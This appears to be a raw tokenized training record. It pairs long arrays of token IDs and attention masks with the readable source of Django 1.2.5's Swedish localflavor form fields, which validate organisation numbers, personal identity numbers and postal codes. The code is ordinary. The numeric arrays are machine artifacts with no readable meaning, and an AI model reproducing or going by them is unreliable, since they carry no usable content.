32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 91, 272, 283, 354, 356, 283, 18220, 14279, 764, 11839, 297, 272, 283, 1023, 356, 283, 17, 14, 16, 297, 272, 283, 3710, 356, 283, 18220, 8259, 297, 272, 283, 1802, 356, 408, 199, 1918, 1300, 859, 370, 9635, 20705, 4084, 436, 21702, 15460, 14, 199, 5695, 29, 199, 199, 10369, 642, 859, 1265, 911, 506, 7688, 370, 2142, 20705, 12639, 370, 21702, 15460, 14, 272, 10327, 272, 283, 2502, 356, 283, 25347, 13950, 297, 272, 283, 7360, 356, 283, 1014, 921, 1544, 14, 11267, 14, 957, 297, 272, 283, 4782, 356, 788, 4782, 15, 8515, 63, 1648, 63, 9782, 63, 2048, 14, 14230, 297, 283, 4782, 15, 16175, 63, 1648, 63, 604, 14, 14230, 995, 272, 283, 8912, 356, 788, 8515, 297, 283, 2048, 63, 9782, 63, 1168, 796, 995, 272, 283, 576, 356, 788, 8515, 63, 9782, 63, 1168, 796, 63, 1345, 14, 1652, 995, 272, 283, 8768, 356, 990, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 756, 12, 199, 93, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ridfrustum/lettuce
tests/integration/lib/Django-1.2.5/django/contrib/localflavor/se/forms.py
311
5623
# -*- coding: utf-8 -*- """ Swedish specific Form helpers """ import re from django import forms from django.utils.translation import ugettext_lazy as _ from django.core.validators import EMPTY_VALUES from django.contrib.localflavor.se.utils import (id_number_checksum, validate_id_birthday, format_personal_id_number, valid_organisation, format_organisation_number) __all__ = ('SECountySelect', 'SEOrganisationNumberField', 'SEPersonalIdentityNumberField', 'SEPostalCodeField') SWEDISH_ID_NUMBER = re.compile(r'^(?P<century>\d{2})?(?P<year>\d{2})(?P<month>\d{2})(?P<day>\d{2})(?P<sign>[\-+])?(?P<serial>\d{3})(?P<checksum>\d)$') SE_POSTAL_CODE = re.compile(r'^[1-9]\d{2} ?\d{2}$') class SECountySelect(forms.Select): """ A Select form widget that uses a list of the Swedish counties (län) as its choices. The cleaned value is the official county code -- see http://en.wikipedia.org/wiki/Counties_of_Sweden for a list. """ def __init__(self, attrs=None): from se_counties import COUNTY_CHOICES super(SECountySelect, self).__init__(attrs=attrs, choices=COUNTY_CHOICES) class SEOrganisationNumberField(forms.CharField): """ A form field that validates input as a Swedish organisation number (organisationsnummer). It accepts the same input as SEPersonalIdentityField (for sole proprietorships (enskild firma). However, co-ordination numbers are not accepted. It also accepts ordinary Swedish organisation numbers with the format NNNNNNNNNN. The return value will be YYYYMMDDXXXX for sole proprietors, and NNNNNNNNNN for other organisations. """ default_error_messages = { 'invalid': _('Enter a valid Swedish organisation number.'), } def clean(self, value): value = super(SEOrganisationNumberField, self).clean(value) if value in EMPTY_VALUES: return u'' match = SWEDISH_ID_NUMBER.match(value) if not match: raise forms.ValidationError(self.error_messages['invalid']) gd = match.groupdict() # Compare the calculated value with the checksum if id_number_checksum(gd) != int(gd['checksum']): raise forms.ValidationError(self.error_messages['invalid']) # First: check if this is a real organisation_number if valid_organisation(gd): return format_organisation_number(gd) # Is this a single properitor (enskild firma)? try: birth_day = validate_id_birthday(gd, False) return format_personal_id_number(birth_day, gd) except ValueError: raise forms.ValidationError(self.error_messages['invalid']) class SEPersonalIdentityNumberField(forms.CharField): """ A form field that validates input as a Swedish personal identity number (personnummer). The correct formats are YYYYMMDD-XXXX, YYYYMMDDXXXX, YYMMDD-XXXX, YYMMDDXXXX and YYMMDD+XXXX. A + indicates that the person is older than 100 years, which will be taken into consideration when the date is validated. The checksum will be calculated and checked. The birth date is checked to be a valid date. By default, co-ordination numbers (samordningsnummer) will be accepted. To only allow real personal identity numbers, pass the keyword argument coordination_number=False to the constructor. The cleaned value will always have the format YYYYMMDDXXXX. """ def __init__(self, coordination_number=True, *args, **kwargs): self.coordination_number = coordination_number super(SEPersonalIdentityNumberField, self).__init__(*args, **kwargs) default_error_messages = { 'invalid': _('Enter a valid Swedish personal identity number.'), 'coordination_number': _('Co-ordination numbers are not allowed.'), } def clean(self, value): value = super(SEPersonalIdentityNumberField, self).clean(value) if value in EMPTY_VALUES: return u'' match = SWEDISH_ID_NUMBER.match(value) if match is None: raise forms.ValidationError(self.error_messages['invalid']) gd = match.groupdict() # compare the calculated value with the checksum if id_number_checksum(gd) != int(gd['checksum']): raise forms.ValidationError(self.error_messages['invalid']) # check for valid birthday try: birth_day = validate_id_birthday(gd) except ValueError: raise forms.ValidationError(self.error_messages['invalid']) # make sure that co-ordination numbers do not pass if not allowed if not self.coordination_number and int(gd['day']) > 60: raise forms.ValidationError(self.error_messages['coordination_number']) return format_personal_id_number(birth_day, gd) class SEPostalCodeField(forms.RegexField): """ A form field that validates input as a Swedish postal code (postnummer). Valid codes consist of five digits (XXXXX). The number can optionally be formatted with a space after the third digit (XXX XX). The cleaned value will never contain the space. """ default_error_messages = { 'invalid': _('Enter a Swedish postal code in the format XXXXX.'), } def __init__(self, *args, **kwargs): super(SEPostalCodeField, self).__init__(SE_POSTAL_CODE, *args, **kwargs) def clean(self, value): return super(SEPostalCodeField, self).clean(value).replace(' ', '')
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 51, 1129, 29159, 2488, 8204, 10897, 199, 624, 199, 646, 295, 199, 504, 1639, 492, 4513, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 504, 1639, 14, 1018, 14, 11346, 492, 16589, 63, 15514, 199, 504, 1639, 14, 2828, 14, 320, 696, 276, 4271, 14, 261, 14, 1208, 492, 334, 344, 63, 1955, 63, 8928, 12, 272, 4107, 63, 344, 63, 15881, 12, 1475, 63, 28686, 63, 344, 63, 1955, 12, 1686, 63, 17425, 12, 272, 1475, 63, 17425, 63, 1955, 9, 199, 199, 363, 452, 363, 275, 661, 899, 24532, 369, 5446, 297, 283, 899, 11014, 13181, 3259, 792, 297, 272, 283, 899, 7344, 279, 10193, 3259, 792, 297, 283, 899, 6564, 279, 3034, 792, 358, 199, 199, 8745, 1149, 13898, 63, 998, 63, 9190, 275, 295, 14, 2014, 8, 82, 24550, 48, 28, 2946, 18359, 3072, 68, 91, 18, 1552, 31, 2229, 48, 28, 3403, 3072, 68, 91, 18, 1552, 2229, 48, 28, 4482, 3072, 68, 91, 18, 1552, 2229, 48, 28, 2977, 3072, 68, 91, 18, 1552, 2229, 48, 28, 1037, 24693, 6793, 566, 31, 2229, 48, 28, 2171, 3072, 68, 91, 19, 1552, 2229, 48, 28, 8928, 3072, 68, 9, 9988, 199, 899, 63, 4030, 748, 63, 6012, 275, 295, 14, 2014, 8, 82, 23811, 17, 13, 25, 7272, 68, 91, 18, 93, 5805, 60, 68, 91, 18, 93, 9988, 199, 199, 533, 5795, 24532, 369, 5446, 8, 3351, 14, 5446, 304, 272, 408, 272, 437, 9496, 1824, 3938, 626, 4440, 282, 769, 402, 314, 428, 1129, 29159, 4529, 1417, 334, 76, 13733, 78, 9, 465, 2399, 272, 3415, 14, 339, 710, 12364, 574, 365, 314, 25410, 4529, 369, 1233, 1553, 1937, 272, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 24532, 1417, 63, 1618, 63, 51, 1129, 848, 367, 282, 769, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 3290, 29, 403, 304, 267, 687, 542, 63, 3094, 1417, 492, 5099, 1734, 2099, 63, 16236, 267, 1613, 8, 899, 24532, 369, 5446, 12, 291, 2843, 826, 721, 3288, 29, 3288, 12, 6163, 3415, 29, 7342, 2099, 63, 16236, 9, 199, 199, 533, 5795, 11014, 13181, 3259, 792, 8, 3351, 14, 2183, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 1324, 465, 282, 428, 1129, 29159, 5981, 13181, 1329, 272, 334, 1308, 7199, 1298, 1507, 2626, 680, 339, 2779, 11479, 314, 2011, 1324, 465, 5795, 7344, 279, 10193, 792, 334, 509, 30869, 272, 557, 1359, 386, 269, 3319, 83, 334, 287, 1339, 668, 289, 723, 391, 680, 9738, 12, 512, 13, 2181, 3155, 5579, 787, 440, 272, 10226, 14, 339, 2779, 2597, 11479, 24801, 428, 1129, 29159, 5981, 13181, 5579, 543, 314, 1475, 272, 653, 7178, 7178, 7178, 7178, 46, 14, 339, 710, 372, 574, 911, 506, 31946, 3218, 5745, 6873, 367, 30869, 557, 1359, 386, 1384, 12, 436, 653, 7178, 7178, 7178, 7178, 46, 272, 367, 1163, 5981, 7199, 1298, 14, 272, 408, 339, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 4018, 8468, 282, 1686, 428, 1129, 29159, 5981, 13181, 1329, 8038, 272, 789, 339, 347, 3633, 8, 277, 12, 574, 304, 267, 574, 275, 1613, 8, 899, 11014, 13181, 3259, 792, 12, 291, 680, 3118, 8, 585, 9, 2728, 340, 574, 315, 16589, 63, 15514, 26, 288, 372, 399, 891, 2728, 1336, 275, 17548, 1149, 13898, 63, 998, 63, 9190, 14, 1431, 8, 585, 9, 267, 340, 440, 1336, 26, 288, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 3197, 1105, 398, 24714, 275, 1336, 14, 20567, 342, 2728, 327, 18955, 314, 12950, 574, 543, 314, 9040, 4960, 340, 1305, 63, 1955, 63, 8928, 8, 7136, 9, 1137, 1109, 8, 7136, 459, 8928, 9090, 288, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 3197, 1105, 2728, 327, 7758, 26, 1104, 340, 642, 365, 282, 3363, 5981, 13181, 63, 1955, 267, 340, 1686, 63, 17425, 8, 7136, 304, 288, 372, 1475, 63, 17425, 63, 1955, 8, 7136, 9, 398, 327, 6596, 642, 282, 2849, 5576, 4330, 334, 287, 1339, 668, 289, 723, 391, 5547, 267, 862, 26, 288, 21036, 63, 2977, 275, 4107, 63, 344, 63, 15881, 8, 7136, 12, 756, 9, 288, 372, 1475, 63, 28686, 63, 344, 63, 1955, 8, 10907, 63, 2977, 12, 24714, 9, 267, 871, 1722, 26, 288, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 3197, 1105, 421, 199, 533, 5795, 7344, 279, 10193, 3259, 792, 8, 3351, 14, 2183, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 1324, 465, 282, 428, 1129, 29159, 25994, 8503, 1329, 272, 334, 5484, 1507, 2626, 680, 339, 710, 3211, 6752, 787, 31946, 3218, 5745, 13, 6873, 12, 31946, 3218, 5745, 6873, 12, 1488, 57, 3218, 5745, 13, 6873, 12, 272, 1488, 57, 3218, 5745, 6873, 436, 1488, 57, 3218, 5745, 11, 6873, 14, 339, 437, 435, 9126, 626, 314, 4954, 365, 12731, 2419, 2948, 17399, 12, 1314, 911, 506, 9394, 272, 1901, 8219, 1754, 1380, 314, 1434, 365, 16468, 14, 2286, 710, 9040, 911, 506, 12950, 436, 7923, 14, 710, 21036, 1434, 365, 7923, 370, 272, 506, 282, 1686, 1434, 14, 339, 4885, 849, 12, 512, 13, 2181, 3155, 5579, 334, 21660, 2181, 78, 780, 1507, 2626, 9, 911, 506, 10226, 14, 4005, 272, 1454, 2040, 3363, 25994, 8503, 5579, 12, 986, 314, 4252, 1423, 272, 11021, 3155, 63, 1955, 29, 797, 370, 314, 3787, 14, 339, 710, 12364, 574, 911, 3544, 1172, 314, 1475, 31946, 3218, 5745, 6873, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 11021, 3155, 63, 1955, 29, 549, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 7988, 3155, 63, 1955, 275, 11021, 3155, 63, 1955, 267, 1613, 8, 899, 7344, 279, 10193, 3259, 792, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 339, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 4018, 8468, 282, 1686, 428, 1129, 29159, 25994, 8503, 1329, 8038, 267, 283, 7988, 3155, 63, 1955, 356, 4018, 967, 13, 2181, 3155, 5579, 787, 440, 4370, 8038, 272, 789, 339, 347, 3633, 8, 277 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 51, 1129, 29159, 2488, 8204, 10897, 199, 624, 199, 646, 295, 199, 504, 1639, 492, 4513, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 504, 1639, 14, 1018, 14, 11346, 492, 16589, 63, 15514, 199, 504, 1639, 14, 2828, 14, 320, 696, 276, 4271, 14, 261, 14, 1208, 492, 334, 344, 63, 1955, 63, 8928, 12, 272, 4107, 63, 344, 63, 15881, 12, 1475, 63, 28686, 63, 344, 63, 1955, 12, 1686, 63, 17425, 12, 272, 1475, 63, 17425, 63, 1955, 9, 199, 199, 363, 452, 363, 275, 661, 899, 24532, 369, 5446, 297, 283, 899, 11014, 13181, 3259, 792, 297, 272, 283, 899, 7344, 279, 10193, 3259, 792, 297, 283, 899, 6564, 279, 3034, 792, 358, 199, 199, 8745, 1149, 13898, 63, 998, 63, 9190, 275, 295, 14, 2014, 8, 82, 24550, 48, 28, 2946, 18359, 3072, 68, 91, 18, 1552, 31, 2229, 48, 28, 3403, 3072, 68, 91, 18, 1552, 2229, 48, 28, 4482, 3072, 68, 91, 18, 1552, 2229, 48, 28, 2977, 3072, 68, 91, 18, 1552, 2229, 48, 28, 1037, 24693, 6793, 566, 31, 2229, 48, 28, 2171, 3072, 68, 91, 19, 1552, 2229, 48, 28, 8928, 3072, 68, 9, 9988, 199, 899, 63, 4030, 748, 63, 6012, 275, 295, 14, 2014, 8, 82, 23811, 17, 13, 25, 7272, 68, 91, 18, 93, 5805, 60, 68, 91, 18, 93, 9988, 199, 199, 533, 5795, 24532, 369, 5446, 8, 3351, 14, 5446, 304, 272, 408, 272, 437, 9496, 1824, 3938, 626, 4440, 282, 769, 402, 314, 428, 1129, 29159, 4529, 1417, 334, 76, 13733, 78, 9, 465, 2399, 272, 3415, 14, 339, 710, 12364, 574, 365, 314, 25410, 4529, 369, 1233, 1553, 1937, 272, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 24532, 1417, 63, 1618, 63, 51, 1129, 848, 367, 282, 769, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 3290, 29, 403, 304, 267, 687, 542, 63, 3094, 1417, 492, 5099, 1734, 2099, 63, 16236, 267, 1613, 8, 899, 24532, 369, 5446, 12, 291, 2843, 826, 721, 3288, 29, 3288, 12, 6163, 3415, 29, 7342, 2099, 63, 16236, 9, 199, 199, 533, 5795, 11014, 13181, 3259, 792, 8, 3351, 14, 2183, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 1324, 465, 282, 428, 1129, 29159, 5981, 13181, 1329, 272, 334, 1308, 7199, 1298, 1507, 2626, 680, 339, 2779, 11479, 314, 2011, 1324, 465, 5795, 7344, 279, 10193, 792, 334, 509, 30869, 272, 557, 1359, 386, 269, 3319, 83, 334, 287, 1339, 668, 289, 723, 391, 680, 9738, 12, 512, 13, 2181, 3155, 5579, 787, 440, 272, 10226, 14, 339, 2779, 2597, 11479, 24801, 428, 1129, 29159, 5981, 13181, 5579, 543, 314, 1475, 272, 653, 7178, 7178, 7178, 7178, 46, 14, 339, 710, 372, 574, 911, 506, 31946, 3218, 5745, 6873, 367, 30869, 557, 1359, 386, 1384, 12, 436, 653, 7178, 7178, 7178, 7178, 46, 272, 367, 1163, 5981, 7199, 1298, 14, 272, 408, 339, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 4018, 8468, 282, 1686, 428, 1129, 29159, 5981, 13181, 1329, 8038, 272, 789, 339, 347, 3633, 8, 277, 12, 574, 304, 267, 574, 275, 1613, 8, 899, 11014, 13181, 3259, 792, 12, 291, 680, 3118, 8, 585, 9, 2728, 340, 574, 315, 16589, 63, 15514, 26, 288, 372, 399, 891, 2728, 1336, 275, 17548, 1149, 13898, 63, 998, 63, 9190, 14, 1431, 8, 585, 9, 267, 340, 440, 1336, 26, 288, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 3197, 1105, 398, 24714, 275, 1336, 14, 20567, 342, 2728, 327, 18955, 314, 12950, 574, 543, 314, 9040, 4960, 340, 1305, 63, 1955, 63, 8928, 8, 7136, 9, 1137, 1109, 8, 7136, 459, 8928, 9090, 288, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 3197, 1105, 2728, 327, 7758, 26, 1104, 340, 642, 365, 